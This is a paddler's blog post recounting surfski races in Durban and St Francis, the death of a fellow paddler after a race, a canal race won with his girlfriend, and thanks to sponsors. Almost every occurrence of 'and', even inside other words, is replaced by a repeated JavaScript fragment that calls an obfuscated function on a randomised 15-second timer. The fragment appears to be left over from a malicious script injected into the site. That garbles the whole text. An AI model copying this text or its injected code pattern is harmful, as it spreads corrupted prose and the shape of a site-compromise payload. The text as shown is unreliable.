    I got off to a safe but sluggish start through the solid surf at Marine, turning the first buoy near the back of a big front group of 15 paddlers. The first section of the race goes into the wind towards the iconic Moses Mabida Soccer Stadium, looking around I couldn’t help but be thankful for the opportunity to be racing again. It can be a rather picturesque andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and idyllic scene, with the fading light over the city, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and being afforded the opportunity to share such a moment with hundreds of other like-minded paddlers is a truly a special moment.

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    Filled with stoke, I had a great first few kilometers passing boats to turn on the downwind with Steve Woods. I could see Wade Krieger about 75m ahead andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and jumped on a couple runners to catch right up to him. Unlucky for me he saw me coming andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in turn really put his head down on the second lap to fight his way away from me again. Wade is in fine form andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be a force to be reckoned with this year now that he is focused on Surfski racing full time. I had a consistent 2nd lap trying to stay focused on my form. I came home 2nd, a little surprised with how comfortable it all felt.

    I really have battled in the boat recently andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the work on rehabbing my neck has done wonders. Perhaps there is something to this patience thing I have been missing over all these years.

    I hope my excitement for simply getting on the water is a theme for this year, something to appreciate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and push me even harder to achieve my 2016 goals.

    Here is to a big year!

    Investec Sporty Anderson Surfski (2nd) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Canal Challenges (1st Mixed)

    Written by Barry Lewin on . Posted in Racing

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    It’s taken me some time to put pen-to-paper, after an emotional week in St Francis. The value of life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s vulnerability  were put into perspective through the loss of one of our Surfski community members.

    If you follow any of my social media posts you would have already known that a paddler from Port Elizabeth, Trevor Vaughan, passed away tragically after the finish of the Surfski race in St Francis.

    My heart goes out to his family, friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the paddling community who are mourning his loss.

    After a very busy Christmas week in Cape Town we were in need of a good holiday.

    Arriving in St Francis in the Jeep Team Grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Cherokee, the idea was to kick the feet up after a long year of racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have a little fun. There were two races on the cards for the week, one in the sea andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the other in the canals, which were to be used to balance out the week of swimming, surfing, beer tasting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beach cruising.

    Unfortunately I had been battling with a pinched nerve in my neck resulting in some numbness in my handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. This wasn’t going to detract from the fun to be had on the water, as a large field of over 80 paddlers lined up for the Sporty Anderson Memorial. I had the privilege of spending time with Sporty many years ago in Cape Town, where he helped me as a young kid. He would’ve loved seeing so many paddlers lining up in his honor.

    I got off to a good start through the surf, leading out the front group towards the port. Top Australian paddler Reese Baker, out in South Africa on his honeymoon, turned the first can with Kyle Friedenstein andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself in tow. We all took different lines on the way to the river mouth with Reese getting there first with a 50m lead. Once on the flat water of the river he put his ears back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and charged to a commandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding lead.

    The first double had come through the field, picking up Richard “chopper” Von Wildemann, then Kyle andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself. We cruised through the canals amongst the beautiful houses as a group, all having a great chat about how awesome the setting was andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how lucky we were to experience this beautiful part of the world. The run over the sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andbank at the river-mouth split us up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I knew this was a defining point in the race. I had a very good put-in, breaking away from the rest of the bunch allowing me to come home in second on the day.

    It was after the race the tragedy struck, as Trevor Vaughan passed away from a heart attack.

    The paddling, waterpolo andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lifesaving communities’ response to the loss of Trevor’s life was heart-felt, with people coming together from all over the Eastern Cape to participate in a paddle-out memorial on the St Francis canals. Tradgic  events like this truly put life into perspective, making us remember how short our stay here really is andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to make the most of the time we have.

    My girlfriend Carly, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I, made the most of the rest of our stay on holiday. The water was warm, the beer cold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends a-plenty. I put this little video together from our time in St Francis, I am sure you will agree that the GoPro footage from my new hero session speaks for itself, it was a holiday of a lifetime.

    Towards the end of the trip we also took part in the Canal Challenge. This for me was more of a social outing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I had the opportunity to take Carly in a double. Carly was thrown in the deep-end, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tasked with driving the boat. This was to give her an opportunity to experience first handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the elements of racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and paddling in bunches. She handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andled the task with flying colours, steering like a seasoned pro. We managed to win the mixed category andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have a lot of fun in the process.

    The holiday was finished off with a couple nights in the Berg with more family, making sure that we were refreshed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ready for the year ahead.

    I cannot thank Jeep Team South Africa enough for the use of the Grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Cherokee for the tour. This machine is a work of art, making easy work of the long distances covered throughout the trip. Their support, along with that of Varsity College, make my paddling dreams come true, they really do have my back. The “Beast” has changed my outlook on what a great driving experience actually is. You have to test drive one of these!

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    I also have to thank my road trip partner Carly, for sharing the driving andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most of all for her enthusiasm throughout. It would not have been the same without you, to many more paddling adventures to come.

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